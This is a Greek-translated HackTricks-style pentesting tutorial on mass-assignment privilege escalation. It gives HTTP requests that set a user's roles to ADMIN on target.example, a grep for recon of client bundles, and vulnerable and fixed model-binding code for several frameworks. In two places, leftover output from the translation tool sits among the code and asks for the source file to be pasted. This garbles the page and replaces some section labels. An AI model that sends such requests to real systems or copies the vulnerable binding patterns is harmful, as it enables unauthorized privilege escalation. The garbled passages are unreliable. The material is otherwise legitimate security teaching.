Mass Assignment (CWE-915) – Privilege Escalation via Unsafe Model Binding

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Mass assignment (a.k.a. insecure object binding) συμβαίνει όταν ένα API/controller παίρνει user-supplied JSON και το δεσμεύει απευθείας σε ένα server-side μοντέλο/οντότητα χωρίς ρητό allow-list πεδίων. Αν ιδιότητες με προνόμια όπως roles, isAdmin, status ή πεδία ownership είναι bindable, οποιοσδήποτε authenticated χρήστης μπορεί να escalate privileges ή να τροποποιήσει προστατευμένη κατάσταση.

Αυτό είναι ένα Broken Access Control issue (OWASP A01:2021) που συχνά επιτρέπει vertical privilege escalation με το να ορίσετε roles=ADMIN ή παρόμοια. Συνηθίζεται να επηρεάζει frameworks που υποστηρίζουν automatic binding των request bodies σε data models (Rails, Laravel/Eloquent, Django ORM, Spring/Jackson, Express/Mongoose, Sequelize, Go structs, κ.λπ.).

1) Finding Mass Assignment

Ψάξτε για self-service endpoints που ενημερώνουν το προφίλ σας ή παρόμοιους πόρους:

  • PUT/PATCH /api/users/{id}
  • PATCH /me, PUT /profile
  • PUT /api/orders/{id}

Κριτήρια που υποδηλώνουν mass assignment:

  • Η απάντηση αντικατοπτρίζει server-managed fields (π.χ., roles, status, isAdmin, permissions) ακόμη και όταν δεν τα στείλατε.
  • Client bundles περιέχουν role names/IDs ή άλλα privileged attribute names που χρησιμοποιούνται σε όλη την εφαρμογή (admin, staff, moderator, internal flags), υπονοώντας bindable schema.
  • Backend serializers δέχονται unknown fields χωρίς να τα απορρίπτουν.

Quick test flow:

  1. Κάντε ένα κανονικό update μόνο με safe fields και παρατηρήστε την πλήρη JSON response structure (this leaks the schema).
  2. Επαναλάβετε το update συμπεριλαμβάνοντας ένα crafted privileged field στο body. Εάν η απάντηση διατηρεί την αλλαγή, πιθανότατα έχετε mass assignment.

Example baseline update revealing schema:

PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry"
}

Η απάντηση υποδεικνύει προνομιακά πεδία:

HTTP/1.1 200 OK
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": null,
"status": "ACTIVATED",
"filters": []
}

2) Exploitation – Role Escalation via Mass Assignment

Μόλις γνωρίζετε το bindable shape, συμπεριλάβετε το privileged property στο ίδιο request.

Παράδειγμα: set roles to ADMIN on your own user resource:

PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": [
{ "id": 1, "description": "ADMIN role", "name": "ADMIN" }
]
}

Εάν μετά την απάντηση η αλλαγή role παραμένει, επαληθευτείτε ξανά ή ανανεώστε τα tokens/claims ώστε η εφαρμογή να εκδώσει μια admin-context session και να εμφανίσει privileged UI/endpoints.

Σημειώσεις

  • Οι role identifiers και shapes συνήθως παρατίθενται από το client JS bundle ή τα API docs. Αναζητήστε συμβολοσειρές όπως “roles”, “ADMIN”, “STAFF” ή αριθμητικά role IDs.
  • Εάν τα tokens περιέχουν claims (π.χ. JWT roles), συνήθως απαιτείται logout/login ή token refresh για να εφαρμοστούν τα νέα δικαιώματα.

3) Client Bundle Recon για Schema και Role IDs

  • Εξετάστε minified JS bundles για role strings και model names; τα source maps μπορεί να αποκαλύψουν DTO shapes.
  • Ψάξτε για arrays/maps με roles, permissions ή feature flags. Δημιουργήστε payloads που ταιριάζουν στα ακριβή property names και nesting.
  • Τυπικοί δείκτες: role name constants, dropdown option lists, validation schemas.

Χρήσιμα greps για ένα downloaded bundle:

strings app.*.js | grep -iE "role|admin|isAdmin|permission|status" | sort -u

4) Παγίδες frameworks και Ασφαλή πρότυπα

Η ευπάθεια προκύπτει όταν τα frameworks δεσμεύουν το req.body απευθείας σε επίμονες οντότητες. Παρακάτω φαίνονται κοινά λάθη και ελάχιστα, ασφαλή πρότυπα.

Node.js (Express + Mongoose)

Ευάλωτο:

// Any field in req.body (including roles/isAdmin) is persisted
app.put('/api/users/:id', async (req, res) => {
const user = await User.findByIdAndUpdate(req.params.id, req.body, { new: true });
res.json(user);
});

Δεν παρείχες κανένα κείμενο για μετάφραση. Στείλε το περιεχόμενο του αρχείου src/pentesting-web/mass-assignment-cwe-915.md (ή το κείμενο που θέλεις να διορθώσω/μεταφράσω) και θα το μεταφράσω στα Ελληνικά διατηρώντας ακέραια τη Markdown/HTML σύνταξη και τα tags/paths που ανέφερες.

// Strict allow-list and explicit authZ for role-changing
app.put('/api/users/:id', async (req, res) => {
const allowed = (({ firstName, lastName, nickName }) => ({ firstName, lastName, nickName }))(req.body);
const user = await User.findOneAndUpdate({ _id: req.params.id, owner: req.user.id }, allowed, { new: true });
res.json(user);
});
// Implement a separate admin-only endpoint for role updates with server-side RBAC checks.

Ruby on Rails

Ευάλωτο (χωρίς strong parameters):

def update
@user.update(params[:user]) # roles/is_admin can be set by client
end

Διόρθωση (strong params + χωρίς προνομιακά πεδία):

def user_params
params.require(:user).permit(:first_name, :last_name, :nick_name)
end

Laravel (Eloquent)

Ευάλωτο:

protected $guarded = []; // Everything mass-assignable (bad)

Please paste the content of src/pentesting-web/mass-assignment-cwe-915.md that you want translated to Greek.

protected $fillable = ['first_name','last_name','nick_name']; // No roles/is_admin

Spring Boot (Jackson)

Ευπαθές μοτίβο:

// Directly binding to entity and persisting it
public User update(@PathVariable Long id, @RequestBody User u) { return repo.save(u); }

Διόρθωση: Χαρτογραφήστε σε DTO που περιέχει μόνο τα επιτρεπόμενα πεδία και εφαρμόστε έλεγχο εξουσιοδότησης:

record UserUpdateDTO(String firstName, String lastName, String nickName) {}

Έπειτα, αντιγράψτε τα επιτρεπόμενα πεδία από το DTO στην οντότητα στο server-side, και χειριστείτε τις αλλαγές ρόλων μόνο σε admin-only handlers μετά από τους ελέγχους RBAC. Χρησιμοποιήστε @JsonIgnore σε προνομιακά πεδία αν χρειάζεται και απορρίψτε άγνωστες ιδιότητες.

Go (encoding/json)

  • Βεβαιωθείτε ότι τα προνομιακά πεδία χρησιμοποιούν json:“-” και επικυρώστε με ένα DTO struct που περιλαμβάνει μόνο επιτρεπόμενα πεδία.
  • Σκεφτείτε να χρησιμοποιήσετε decoder.DisallowUnknownFields() και επαλήθευση μετά το bind των αμετάβλητων συνθηκών (οι ρόλοι δεν μπορούν να αλλάξουν σε self-service routes).

References

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks